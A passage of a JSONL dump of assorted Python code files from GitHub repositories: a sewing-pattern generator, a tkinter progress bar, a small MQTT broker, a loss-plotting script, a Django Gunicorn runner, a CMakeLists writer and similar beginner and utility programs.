angle1 + dart_half_angle))\n\t\t#cAW5b = rPointP(A, 'cAW5b', pntFromDistanceAndAngleP(AW5, distance2, angle2 - dart_half_angle))\n\t\t# front center curve\n\t\tAC1, AC2 = rPointP(A, 'AC1', mm), rPointP(A, 'AC2', p)\n\t\tdistance = lineLengthP(AC1, AC2)/3.0\n\t\tcAC2a = cPointP(A, 'cAC2a', pntOffLineP(AC1, AW2, distance))\n\t\tcAC2b = cPointP(A, 'cAC2b', pntOnLineP(AC2, cAC2a, distance))\n\t\t# front inseam\n\t\tAI1, AI2 = rPointP(A, 'AI1', bb), rPointP(A, 'AI2', v)\n\t\tdistance = lineLengthP(AC2, AI1)/3.0\n\t\tcAI1b = cPointP(A, 'cAI1b', pntOffLineP(AI1, AI2, distance))\n\t\tcAI1a = cPointP(A, 'cAI1a', pntOnLineP(AC2, cAI1b, distance))\n\t\t# front sideseam\n\t\tAS1, AS2, AS3, AS4 = rPointP(A, 'AS1', w), rPointP(A, 'AS2', aa), rPointP(A, 'AS3', z), rPointP(A, 'AS4', g)\n\t\tc1, c2 = controlPoints('front_sideseam_control_points', pointList(AS1, AS2, AS4, AW1))\n\t\tcAS2a = cPointP(A, 'cAS2a', c1[0])\n\t\tcAS2b = cPointP(A, 'cAS2b', c2[0])\n\t\tcAS4a = cPointP(A, 'cAS4a', c1[1])\n\t\tcAS4b = cPointP(A, 'cAS4b', c2[1])\n\t\tcAW1a = cPointP(A, 'cAW1a', c1[2])\n\t\tcAW1b = cPointP(A, 'cAW1b', c2[2])\n\t\t# front grainline\n\t\tAg1, Ag2 = rPointP(A, 'Ag1', r), rPointP(A, 'Ag2', s)\n\t\t# front label location\n\t\tA.label_x, A.label_y = Ag1.x - 2.5*IN, Ag1.y\n\n\t\t# create grid 'Agrid' path\n\t\tgrid = path()\n\t\taddToPath(grid, 'M', c, 'L', a, 'L', b, 'L', d,  'L', c)\n\t\taddToPath(grid, 'M', g, 'L', h, 'M', j, 'L', p,  'M', m, 'L', bb)\n\t\taddToPath(grid, 'M', mm, 'L', k)\n\t\taddToPath(grid, 'M', ll, 'L', kk, 'L', h, 'L', p, 'L', v, 'L', w, 'L', z, 'L', g, 'L', ll)\n\t\t# create seamline 'SL' & cuttingline 'CL' paths\n\t\tseamLine = path()\n\t\tcuttingLine= path()\n\t\tfor p in seamLine, cuttingLine:\n\t\t\taddToPath(p, 'M', AW1, 'C', cAW2a, cAW2b, AW2) # front waistline\n\t\t\taddToPath(p, 'L', AC1, 'C', cAC2a, cAC2b, AC2) # front center curve\n\t\t\taddToPath(p, 'C', cAI1a, cAI1b, AI1, 'L', AI2) # front inseam\n\t\t\taddToPath(p, 'L', AS1, 'C', cAS2a, cAS2b, AS2, 'C', cAS4a, cAS4b, AS4, 'C', cAW1a, cAW1b, AW1) # front sideseam\n\t\t# add grainline, dart, seamline, cuttingline, etc. to pattern piece object\n\t\taddGridLine(A, 'Pants Front', grid)\n\t\taddSeamLine(A, 'Pants Front', seamLine)\n\t\taddCuttingLine(A, 'Pants Front', cuttingLine)\n\t\taddGrainLine(A, 'Pants Front', Ag1, Ag2)\n\n\t\t# pants Back 'B'\n\t\tpants.add(PatternPiece('pattern', 'back', letter = 'B', fabric = 2, interfacing = 0, lining = 0))\n\t\tB = pants.back\n\t\t# back waistline\n\t\tBW1, BW2 = rPointP(B, 'BW1', ii), rPointP(B, 'BW2', hh)\n\t\tangle1, angle2 = angleOfLineP(BW1, BW2), angleOfLineP(BW2, BW1)\n\t\tdistance = lineLengthP(BW1, BW2)/3.0\n\t\tcBW2a = cPoint(B, 'cBW2a', BW1.x - distance, BW1.y)\n\t\tcBW2b = cPointP(B, 'cBW2b', pntOnLineP(BW2, cBW2a, distance)) # 1st control point is 'aimed' at 2nd control point\n\t\t# back center curve\n\t\tBC1, BC2 = rPointP(B, 'BC1', nn), rPointP(B, 'BC2', q)\n\t\tdistance = lineLengthP(BC1, BC2)/3.0\n\t\tcBC2a = cPointP(B, 'cBC2a', pntOffLineP(BC1, BW2, distance))\n\t\tcBC2b = cPointP(B, 'cBC2b', pntOnLineP(BC2, cBC2a, distance))\n\t\t# back inseam\n\t\tBI1, BI2 = rPointP(B, 'BI1', ee), rPointP(B, 'BI2', y)\n\t\tdistance = lineLengthP(BC2, BI1)/3.0\n\t\tcBI1b = cPointP(B, 'cBI1b', pntOffLineP(BI1, BI2, distance))\n\t\tcBI1a = cPointP(B, 'cBI1a', pntOnLineP(BC2, cBI1b, distance))\n\t\t# back sideseam\n\t\tBS1, BS2, BS3, BS4 = rPointP(B, 'BS1', x), rPointP(B, 'BS2', dd), rPointP(B, 'BS3', z), rPointP(B, 'BS4', g)\n\t\tpnts = pointList(BS1, BS2, BS3, AW1)\n\t\tc1, c2 = controlPoints('back_sideseam_control_points', pointList(BS1, BS2, BS4, BW1))\n\t\tcBS2a = cPointP(B, 'cBS2a', c1[0])\n\t\tcBS2b = cPointP(B, 'cBS2b', c2[0])\n\t\tcBS4a = cPointP(B, 'cBS4a', c1[1])\n\t\tcBS4b = cPointP(B, 'cBS4b', c2[1])\n\t\tcBW1a = cPointP(B, 'cBW1a', c1[2])\n\t\tcBW1b = cPointP(B, 'cBW1b', c2[2])\n\t\t# back grainline\n\t\tBg1, Bg2 = rPointP(B, 'Bg1', t), rPointP(B, 'Bg2', u)\n\t\t# back label location\n\t\tB.label_x, B.label_y = Bg1.x + 2.5*IN, Bg1.y\n\n\t\t# create grid path\n\t\tgrid = path()\n\t\taddToPath(grid, 'M', e, 'L', c, 'L', d, 'L', f, 'L', e)\n\t\taddToPath(grid, 'M', i, 'L', g, 'M', q, 'L', j, 'M', ee, 'L', m)\n\t\taddToPath(grid, 'M', nn, 'L', l)\n\t\taddToPath(grid, 'M', q, 'L', y, 'M', x, 'L', z)\n\t\taddToPath(grid, 'M', q, 'L', i, 'L', hh, 'L', ii, 'L', g)\n\t\t# create seamline 'SL' & cuttingline 'CL' paths\n\t\tseamLine = path()\n\t\tcuttingLine = path()\n\t\tfor p in (seamLine, cuttingLine):\n\t\t\taddToPath(p, 'M', BW1, 'C', cBW2a, cBW2b, BW2) # back waistline\n\t\t\taddToPath(p, 'L', BC1, 'C', cBC2a, cBC2b, BC2) # back center curve\n\t\t\taddToPath(p, 'C', cBI1a, cBI1b, BI1, 'L', BI2) # back inseam\n\t\t\taddToPath(p, 'L', BS1, 'L', BS2, 'C', cBS4a, cBS4b, BS4,'C', cBW1a, cBW1b, BW1) # back sideseam\n\t\t# add grainline, dart, seamline, cuttingline, etc. to pattern piece object\n\t\taddGridLine(B, 'Pants Back', grid)\n\t\taddSeamLine(B, 'Pants Back', seamLine)\n\t\taddCuttingLine(B, 'Pants Back', cuttingLine)\n\t\taddGrainLine(B, 'Pants Back', Bg1, Bg2)\n\n\t\t# draw once to generate all pattern pieces\n\t\tdoc.draw()\n\n\t\treturn\n\n# vi:set ts = 4 sw = 4 expandtab:\n","repo_name":"mikma/tmtp","sub_path":"standalone/Knowles_pants.py","file_name":"Knowles_pants.py","file_ext":"py","file_size_in_byte":10608,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"5209320319","text":"from gendiff.formatters import stylish, plain, json_format\n\n\ndef format(diff_dict, format):\n    formats_mapping = {\n        'stylish': stylish.do_format,\n        'plain': plain.do_format,\n        'json': json_format.do_format\n    }\n    return formats_mapping.get(format, stylish.do_format)(diff_dict)\n","repo_name":"CaptainCollie/python-project-lvl2_1","sub_path":"gendiff/format.py","file_name":"format.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"14740660198","text":"#gui : grapical user interface\nimport time\nimport tkinter.ttk as ttk\nfrom tkinter import *\n\nroot = Tk()\nroot.title(\"Jay_code\")\nroot.geometry(\"500x500+3000+100\") # 오른쪽 모니터에서 출력되도록\n\nprogressbar1 = ttk.Progressbar(root, maximum = 100, mode = \"indeterminate\") # indeterminate -> 계속 왔다 갔다 함\nprogressbar1.start(500) # 500ms, 즉 0.5초마다 움직임\nprogressbar1.pack()\n\np_var2 = DoubleVar()\nprogressbar2 = ttk.Progressbar(root, maximum = 100, length = 150, variable = p_var2)\nprogressbar2.pack()\n\ndef btncmd():\n    for i in range(1,101):\n        time.sleep(0.01) # 0.01초 대기\n\n        p_var2.set(i) # p_var 값 설정\n        progressbar2.update() # 값이 변하는 걸 보여주기 위해 지속적으로 업데이트(UI 업데이트)\n        print(p_var2.get()) # 값을 얻어옴\n \nbtn = Button(root, text = \"click\", command= btncmd)\nbtn.pack()\n\nroot.mainloop()","repo_name":"101Jay/Python_with_nado","sub_path":"gui_basic/9_progressbar.py","file_name":"9_progressbar.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"30475540819","text":"from scapy.all import *\nfrom scapy.contrib.mqtt import *\nfrom time import strftime, localtime\nfrom MQTT_utils.mqtt_connect import *\nfrom MQTT_utils.mqtt_publish import *\nfrom MQTT_utils.mqtt_subscribe import *\n\nlogging.basicConfig(format='%(asctime)s - %(message)s', level=logging.DEBUG)\n\n\ndef connect(current_packet, header, client, addr):\n    # send connack packet\n    client.send(bytes(MQTT() / MQTTConnack(sessPresentFlag=0, retcode=0)))\n\n    ip, port = addr\n    logging.debug('Client connected: ' + ip + ' ' + str(port))\n\n    to_check, connection_data, connect_flag = parse_connect_packet(current_packet, ip, port)\n\n    logging.debug('Protocol: ' + str(to_check['proto_name']) + ' ' + str(to_check['proto_len']))\n    logging.debug('Username: ' + connection_data['username'])\n    logging.debug('Password: ' + connection_data['password'])\n\n    # inspect connect packet for malformed data\n\n    if inspect_connect_packet(to_check) or header[:4] != '0000' or connect_flag[0] != '0':\n        print(strftime(\"%Y-%m-%d %H:%M:%S\", localtime()), str(current_packet))\n    else:\n        server_event_known_command(connection_data)\n\n\ndef publish(current_packet, header, client, addr):\n    ip, port = addr\n\n    # parse packet\n    connection_data = parse_publish_packet(current_packet, header, ip, port)\n\n    # check a publish packet for some malformed data\n    if inspect_publish_packet(connection_data):\n        print(strftime(\"%Y-%m-%d %H:%M:%S\", localtime()), str(current_packet))\n    else:\n        server_event_known_command(connection_data)\n\n    # send the appropriate packet for the received QoS\n    msg_id = int(connection_data['msg_id'])\n    if connection_data['qos'] == 1:\n        client.send(bytes(MQTT() / MQTTPuback(msgid=msg_id)))\n    elif connection_data['qos'] == 2:\n        client.send(bytes(MQTT() / MQTTPubrec(msgid=msg_id)))\n        client.send(bytes(MQTT() / MQTTPubcomp(msgid=msg_id)))\n\n\ndef subscribe(current_packet, header, client, addr):\n    ip, port = addr\n\n    connection_data = parse_subscribe_packet(current_packet, header, ip, port)\n    # receive the incoming packet, if it is None, the packet is no valid\n    if connection_data:\n        server_event_known_command(connection_data)\n        client.send(\n            bytes(MQTT() / MQTTSuback(msgid=int(connection_data['msg_id']), retcode=int(connection_data['qos']))))\n\n\n# handle an unexpected packet and set it's current state depending on the Connect packet\n\ndef server_event_unexpected_packet(command, client, has_connected):\n    logging.debug(command.decode('utf-8'))\n    state = 'Before Connect'\n    if has_connected:\n        state = 'After Connect'\n\n    print(strftime(\"%Y-%m-%d %H:%M:%S\", localtime()), str(command), state)\n\n\n# print the fields and the value of a valid packet\n\ndef server_event_known_command(param_dict):\n    for key in param_dict.keys():\n        print(key, param_dict.get(key))\n\n\ndef client_thread(client, command_type, addr):\n    has_connected = False\n    while True:\n        command = client.recv(1024)\n        if len(command) > 1:\n\n            header_as_bits = get_bits(command[0])\n            type_of_command = command_type.get(header_as_bits[4:])\n\n            if type_of_command == 'CONNECT':\n                # check if reserved field is 0, otherwise close the connection\n                if header_as_bits[:4] != '0000':\n                    client.close()\n                connect(command, header_as_bits, client, addr)\n                has_connected = True\n\n            elif has_connected:\n                if type_of_command == 'PUBLISH':\n                    publish(command, header_as_bits, client, addr)\n\n                elif type_of_command == 'SUBSCRIBE':\n                    subscribe(command, header_as_bits, client, addr)\n\n                elif type_of_command == 'DISCONNECT':\n                    break\n                elif type_of_command == 'PUBREL' or type_of_command == 'PINGREQ':\n                    pass\n                else:\n                    server_event_unexpected_packet(command, client, has_connected)\n\n            else:\n                server_event_unexpected_packet(command, client, has_connected)\n\n    client.close()\n\n\ndef main():\n    # use a socket, bind it to a specific port and listen the incoming connections\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:\n        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        server.bind(('', 1883))\n        server.listen()\n        while True:\n            client, addr = server.accept()\n            Thread(target=client_thread, args=(client, command_type, addr)).start()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Sergiu154/BasicScripts","sub_path":"clean_mqttBroker.py","file_name":"clean_mqttBroker.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17542069326","text":"# coidng=utf-8\n# show loss \nimport os\nimport matplotlib.pyplot as plt\n\ncls0, cls1, cls2, acc0, acc1, acc2, losses = [], [], [], [], [], [], []\nclss, box_loss = [], []\n\nfiles = ['output_cascade4/20220819_043527.log']\nlines = open(files[0]).readlines()\nfor line in lines:\n    if \"lr: \" in line:\n        epoch = line.split('Epoch ')[1][:7]\n        lr_ = line.split('lr: ')[1][:9]\n        \n        # cascade\n        loss = line.split('loss: ')[1][:6]     \n\n        loss_rpn_bbox = line.split('loss_rpn_bbox: ')[1][:6]\n        loss_rpn_cls = line.split('loss_rpn_cls: ')[1][:6]\n        \n        s0loss_cls = line.split('s0.loss_cls: ')[1][:6]\n        s0acc = line.split('s0.acc: ')[1][:6]\n\n        s1loss_cls = line.split('s1.loss_cls: ')[1][:6]\n        s1acc = line.split('s1.acc: ')[1][:6]\n\n        s2loss_cls = line.split('s2.loss_cls: ')[1][:6]\n        s2acc = line.split('s2.acc: ')[1][:6]\n\n        print('epoch: {}, lr: {}, loss_rpn_bbox: {}, loss_rpn_cls: {}, s0.loss_cls: {}, s0.acc: {}, s1.loss_cls: {}, s1.acc: {}, s2.loss_cls: {}, s2.acc: {}, loss: {}'.format(epoch, lr_, loss_rpn_bbox, loss_rpn_cls, s0loss_cls, s0acc, s1loss_cls, s1acc, s2loss_cls, s2acc, loss))\n        cls0.append(float(s0loss_cls))\n        cls1.append(float(s1loss_cls))\n        cls2.append(float(s2loss_cls))\n        acc0.append(float(s0acc))\n        acc1.append(float(s1acc))\n        acc2.append(float(s2acc))\n        losses.append(float(loss))\n\nlens = len(losses)\n# x = [int(a*50/311) for a in range(lens)]\nx = [a*50 for a in range(lens)]\nplt.plot(x,losses)\nplt.savefig('cascade4_loss.png')\nplt.show()","repo_name":"jiachen0212/det_defect_gongye","sub_path":"show_loss.py","file_name":"show_loss.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24135802552","text":"import turtle\nimport math\n\nx0, y0 = 0, 0\nx1, y1 = 0, 200\nx2, y2 = 200, 0\nx, y = 103, 103\n\n# ���制三角形\nturtle.goto(x1, y1)\nturtle.goto(x2, y2)\nturtle.goto(x0, y0)\n\n# 计算斜边长度\ndistance = math.sqrt((y1 - y0) ** 2 + (x2 - x1) ** 2)\n\n# 标记斜边长度\nturtle.penup()\nturtle.goto(x, y)\nturtle.pendown()\nturtle.color(\"red\")\nturtle.write(distance)\nturtle.done()\n","repo_name":"taomee517/python-basic","sub_path":"basic/math/Triangle_Calculate.py","file_name":"Triangle_Calculate.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20637091707","text":"from sys import stdin\nfrom collections import defaultdict\nimport sys\nsys.setrecursionlimit(100000)\n\nclass graph:\n\n    def __init__(self, V):\n        self.graph = defaultdict(list)\n        self.weight = defaultdict()\n        self.v = V\n\n    def addEdge(self, u, v, w):\n        self.graph[u].append(v)\n        self.weight[u] = w\n\n    def DFSUtil(self, v, visited):\n        visited[v] = True\n\n        for i in self.graph[v]:\n            if visited[i] == False:\n                self.DFSUtil(i, visited)\n\n    def DFS(self):\n\n        answers = []\n\n        for i in range(0, 100):\n            count = 0\n            visited = [False] * 100000\n\n            for j in range(self.v):\n                if i >= self.weight[j]:\n                    visited[j] = True\n\n            for j in range(self.v):\n                if visited[j] == False:\n                    count += 1\n                    self.DFSUtil(j, visited)\n            answers.append(count)\n        answers.sort()\n\n        return answers[len(answers)-1]\n\n\nif __name__ == '__main__':\n    n = int(stdin.readline())\n    high = []\n    G = graph(n * n)\n    for i in range(n):\n        tmp = list(map(int, stdin.readline().split(\" \")))\n        high.append(tmp)\n    for i in range(n):\n        for j in range(n):\n            if j + 1 < n:\n                G.addEdge(n * i + j, n * i + j + 1, high[i][j])\n            if j - 1 >= 0:\n                G.addEdge(n * i + j, n * i + j - 1, high[i][j])\n            if i + 1 < n:\n                G.addEdge(n * i + j, n * (i + 1) + j, high[i][j])\n            if i -1 >= 0:\n                G.addEdge(n * i + j, n * (i - 1) + j, high[i][j])\n\n    print(G.DFS())\n\n","repo_name":"PARKINHYO/Algorithm","sub_path":"BOJ/2468/2468번(안전영역).py","file_name":"2468번(안전영역).py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"}
+{"seq_id":"41097734741","text":"from __future__ import annotations\nfrom typing import TYPE_CHECKING\nif TYPE_CHECKING:\n    from data_access_module.interfaces import (CreateRecordProtocol,\n                                               FakeFactoryProtocol)\n\n\nclass PopulateTable:\n    def __init__(\n            self,\n            dao: CreateRecordProtocol,\n            fake_factory: FakeFactoryProtocol\n    ) -> None:\n        self._dao = dao\n        self._fake_factory = fake_factory\n\n    def execute(self) -> None:\n        \"\"\"Executes a data recording into the database.\"\"\"\n        all_data = self._fake_factory.generate()\n        for row in all_data:\n            self._dao.create(data=row)\n","repo_name":"Kosalexx/Project_1","sub_path":"sp500_project/populate_sqlite_db/populate_table.py","file_name":"populate_table.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"18307815330","text":"import os\nimport subprocess\nimport sys\n\nfrom django.conf import settings\n\n\nclass GunicornRunner(object):\n\n    executable = 'gunicorn'\n\n    def __init__(self, addr, port, addr_display, options):\n        self.addrport = '{addr_display}:{port}'.format(\n            addr_display=addr_display,\n            port=int(port),\n        )\n        self.args = self.build_arguments(options)\n\n    def build_arguments(self, options):\n        try:\n            handle_statics = (\n                options['use_static_handler'] and\n                (settings.DEBUG or options['insecure_serving'])\n            )\n        except KeyError:\n            handle_statics = False\n        module = 'staticfiles' if handle_statics else 'base'\n\n        # Change working directory to where manage.py is.\n        working_dir = os.path.dirname(os.path.abspath(sys.argv[0]))\n\n        args = [\n            self.executable,\n            'djgunicorn.wsgi.{module}:application'.format(module=module),\n            '--config', 'python:djgunicorn.config',\n            '--access-logfile', '-',\n            '--access-logformat', '%(t)s \"%(r)s\" %(s)s %(B)s',\n            '--error-logfile', '-',\n            '--log-level', 'warning',\n            '--chdir', working_dir,\n        ]\n        if options['use_reloader']:\n            args.append('--reload')\n        return args\n\n    def run(self):\n        # Pass information into the Gunicorn process through environ.\n        # This seems to be how Django's stock runserver do things as well;\n        # see `django.core.management.commands.runserver.Command.execute`.\n        if settings.SETTINGS_MODULE:\n            os.environ['DJANGO_SETTINGS_MODULE'] = settings.SETTINGS_MODULE\n        os.environ['DJANGO_ADDRPORT'] = self.addrport\n        proc = subprocess.Popen(\n            self.args,\n            universal_newlines=True,\n        )\n        proc.wait()\n\n\ndef run(addr, port, options, addr_display):\n    \"\"\"Patched runserver internal with Gunicorn.\n    \"\"\"\n    runner = GunicornRunner(\n        addr=addr, port=port, addr_display=addr_display,\n        options=options,\n    )\n    runner.run()\n","repo_name":"EVOgeek618/BaikalFurs","sub_path":"venv/Lib/site-packages/djgunicorn/gunicorn.py","file_name":"gunicorn.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35396325627","text":"import json\nfrom pathlib import Path\nimport locale\n\n\n\"\"\" PATHS \"\"\"\nDIR_ROOT = Path(__file__).parent.parent\n\nDIR_DATA_ROOT = DIR_ROOT / \"data\"\nDIR_CONFIGS_ROOT = DIR_ROOT / \"configs\"\nDIR_LANGS_ROOT = DIR_DATA_ROOT / \"langs\"\nDIR_MODS_ROOT = DIR_ROOT / \"mods\"\nDIR_RESULTS_ROOT = DIR_ROOT / \"results\"\nDIR_TEMP_ROOT = DIR_DATA_ROOT / \"tmp\"\nDIR_SOURCE_REPO = DIR_ROOT / \"degrees-of-lewdity-master\"\nDIR_MODLOADER_ROOT = DIR_ROOT / \"modloader\"\nDIR_MODLOADER_MODS = DIR_MODLOADER_ROOT / \"mods\"\n\n\"\"\" LANGS \"\"\"\nSYS_LANG = (locale.getdefaultlocale()[0]).lower()  # zh_cn\nLANG_FILE = DIR_LANGS_ROOT / f\"{SYS_LANG}.json\"\nLANG_FILE = LANG_FILE if LANG_FILE.exists() else DIR_LANGS_ROOT / \"en_us.json\"\nwith open(LANG_FILE, \"r\", encoding=\"utf-8\") as fp:\n    LANGS = json.load(fp)\nwith open(DIR_LANGS_ROOT / \"en_us.json\", \"r\", encoding=\"utf-8\") as fp:\n    DEFAULT_LANGS = json.load(fp)\n\n\"\"\" SERVERS \"\"\"\nHOST = \"localhost\"\nPORT = 52525\n\n__all__ = [\n    \"DIR_ROOT\",\n    \"DIR_SOURCE_REPO\",\n    \"DIR_MODS_ROOT\",\n    \"DIR_RESULTS_ROOT\",\n    \"DIR_TEMP_ROOT\",\n    \"DIR_DATA_ROOT\",\n    \"DIR_CONFIGS_ROOT\",\n    \"DIR_LANGS_ROOT\",\n    \"DIR_MODLOADER_ROOT\",\n    \"DIR_MODLOADER_MODS\",\n\n    \"LANGS\",\n    \"DEFAULT_LANGS\",\n\n    \"HOST\",\n    \"PORT\",\n]\n","repo_name":"NumberSir/DOL-Mod-Created-Helper","sub_path":"src/consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"}
+{"seq_id":"35676768796","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jan 21 19:42:00 2018\r\n\r\n@author: atul\r\n\"\"\"\r\n\r\naList=[3,4,2,1,5]\r\n\r\nsortedList=[]\r\n\r\nfor item in aList:\r\n    print(item)\r\n    sortedList.insert(item-1,item)\r\n\r\n\r\nprint(sortedList)    ","repo_name":"atulanandnitt/questionsBank","sub_path":"sorting/bucket.py","file_name":"bucket.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35113324178","text":"# encoding=utf8\nimport sys\nimport os\nsys.path.append(\"../base/\")\nfrom string_tools import CStringTools\nfrom file_handle_re import CFileHandle\n\n\nclass CWriteCMakeListsBase(object):\n\tMODE_STATIC_LIB = 1\n\tMODE_DYNAMIC_LIB = 2\n\tMODE_EXECUTE = 3\n\tdef __init__(self, file_path):\n\t\tself.m_file_handler = CFileHandle()\n\t\tself.m_file_path = file_path\n\n\tdef is_debug(self):\n\t\treturn True\n\n\tdef mode(self):\n\t\treturn CWriteCMakeListsBase.MODE_STATIC_LIB\n\n\tdef include_paths(self):\n\t\t# include_directories(...)\n\t\treturn []\n\n\tdef header_list(self):\n\t\t# HEADER_LIST\n\t\treturn []\n\n\tdef link_lib_dirs(self):\n\t\treturn []\n\n\tdef win32_library_list(self):\n\t\treturn []\n\n\tdef linux_library_list(self):\n\t\treturn []\n\n\tdef obj_name(self):\n\t\treturn \"\"\n\n\tdef insert_after_include_dirs(self):\n\t\treturn \"\"\n\n\tdef insert_befor_if(self):\n\t\treturn \"\"\n\n\tdef write(self, encoding=\"utf8\"):\n\t\tcontent = \"\"\n\t\tcontent += self.__write_include_dirs()\n\t\tif self.mode() == CWriteCMakeListsBase.MODE_EXECUTE:\n\t\t\tcontent += self.__write_link_lib_dirs()\n\t\tcontent += self.insert_after_include_dirs()\n\t\tcontent += self.__write_base_h_cpp()\n\t\tcontent += self.__write_add_header()\n\t\tif self.mode() == CWriteCMakeListsBase.MODE_EXECUTE:\n\t\t\tcontent += self.__write_add_execute()\n\t\t\tcontent += self.__write_set_target_properties()\n\t\telif self.mode() == CWriteCMakeListsBase.MODE_STATIC_LIB:\n\t\t\tcontent += self.__write_add_library()\n\t\tcontent += self.insert_befor_if()\n\t\tif self.mode() == CWriteCMakeListsBase.MODE_EXECUTE:\n\t\t\tcontent += self.__write_target_link_libs()\n\t\tif self.is_debug() is True:\n\t\t\tprint(content)\n\t\telse:\n\t\t\tself.m_file_handler.clear_write(content, self.m_file_path, encoding)\n\n\tdef __write_include_dirs(self):\n\t\tcontent = \"\"\n\t\tcontent += \"include_directories (\\n\"\n\t\tfor d in self.include_paths():\n\t\t\tcontent += \"\\t\"*1 + d\n\t\t\tcontent += \"\\n\"\n\t\tcontent += \")\\n\"\n\t\tcontent += \"\\n\"\n\t\treturn content\n\n\tdef __write_link_lib_dirs(self):\n\t\tcontent = \"\"\n\t\tcontent += \"link_directories (\\n\"\n\t\tfor lib in self.link_lib_dirs():\n\t\t\tcontent += \"\\t\"*1 + lib\n\t\t\tcontent += \"\\n\"\n\t\tcontent += \")\\n\"\n\t\tcontent += \"\\n\"\n\t\treturn content\n\n\tdef __write_base_h_cpp(self):\n\t\tcontent = \"\"\n\t\tcontent += \"aux_source_directory(source SOURCE_LIST)\\n\"\n\t\tcontent += 'FILE (GLOB HEADER_LIST \"include/*.h\")\\n'\n\t\tcontent += \"\\n\"\n\t\treturn content\n\n\tdef __write_add_header(self):\n\t\tcontent = \"\"\n\t\tcontent += \"set (HEADER_LIST\\n\"\n\t\tcontent += \"\\t\"*1 + \"${HEADER_LIST}\" + \"\\n\"\n\t\tfor h in self.header_list():\n\t\t\tcontent += \"\\t\"*1 + h\n\t\t\tcontent += \"\\n\"\n\t\tcontent += \")\\n\"\n\t\tcontent += \"\\n\"\n\t\treturn content\n\n\tdef __write_add_library(self):\n\t\tcontent = \"\"\n\t\tcontent += \"add_library (\" + self.obj_name() + \" STATIC ${SOURCE_LIST} ${HEADER_LIST})\\n\"\n\t\tcontent += \"\\n\"\n\t\treturn content\n\n\tdef __write_add_execute(self):\n\t\tcontent = \"\"\n\t\tcontent += \"add_executable (\" + self.obj_name() + \" ${SOURCE_LIST} ${HEADER_LIST})\\n\"\n\t\tcontent += \"\\n\"\n\t\treturn content\n\n\tdef __write_set_target_properties(self):\n\t\tcontent = \"\"\n\t\tcontent += 'set_target_properties({0} PROPERTIES DEBUG_POSTFIX \"_d\")\\n'.format(self.obj_name())\n\t\tcontent += \"\\n\"\n\t\treturn content\n\n\tdef __write_target_link_libs(self):\n\t\tcontent = \"\"\n\t\tcontent += 'if (CMAKE_SYSTEM_NAME MATCHES \"Windows\")\\n'\n\t\tcontent += \"\\t\"*1 + \"target_link_libraries ({0}\\n\".format(self.obj_name())\n\t\tfor lib in self.win32_library_list():\n\t\t\tcontent += \"\\t\"*2 + lib + \"\\n\"\n\t\tcontent += \"\\t\"*1 + \")\\n\"\n\t\tcontent += 'elseif (CMAKE_SYSTEM_NAME MATCHES \"Linux\")\\n'\n\t\tcontent += \"\\t\"*1 + \"target_link_libraries ({0}\\n\".format(self.obj_name())\n\t\tfor lib in self.linux_library_list():\n\t\t\tcontent += \"\\t\"*2 + lib + \"\\n\"\n\t\tcontent += \"\\t\"*1 + \")\\n\"\n\t\tcontent += \"\\n\"\n\t\tcontent += \"\\t\"*1 + 'set(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -static\")\\n'\n\t\tcontent += \"\\t\"*1 + 'set(CMAKE_CXX_FLAGS \"${CMAKE_CXX_FLAGS} -static\")\\n'\n\t\tcontent += \"\\n\"\n\t\tcontent += \"\\n\"\n\t\tcontent += \"\\t\"*1 + 'if (${CMAKE_BUILD_TYPE} STREQUAL \"Release\")\\n'\n\t\tcontent += \"\\t\"*2 + 'add_custom_command(TARGET '+ self.obj_name() +' POST_BUILD COMMAND echo \"strip\"\\n'\n\t\tcontent += \"\\t\"*4 + 'COMMAND ${STRIP} ${CMAKE_LIBRARY_OUTPUT_DIRECTORY}/'+ self.obj_name() + \"\\n\"\n\t\tcontent += \"\\t\"*4 + 'COMMAND cp ${CMAKE_LIBRARY_OUTPUT_DIRECTORY}/'+ self.obj_name() + ' ~/nfs/${PLATFORM_NAME} -f\\n'\n\t\tcontent += \"\\t\"*4 + \")\\n\"\n\t\tcontent += \"\\t\"*1 + 'endif ()\\n'\n\t\tcontent += \"\\n\"\n\t\tcontent += \"endif ()\\n\"\n\t\treturn content\n\n\nclass __CTest(CWriteCMakeListsBase):\n\tdef __init__(self, file_path):\n\t\tCWriteCMakeListsBase.__init__(self, file_path)\n\n\tdef obj_name(self):\n\t\treturn \"test\"\n\n\nif __name__ == \"__main__\":\n\ttest = __CTest(\"\")\n\ttest.write(encoding=\"utf8\")\n","repo_name":"MwlLj/scriptbase","sub_path":"write_cmakelists_base.py","file_name":"write_cmakelists_base.py","file_ext":"py","file_size_in_byte":4558,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
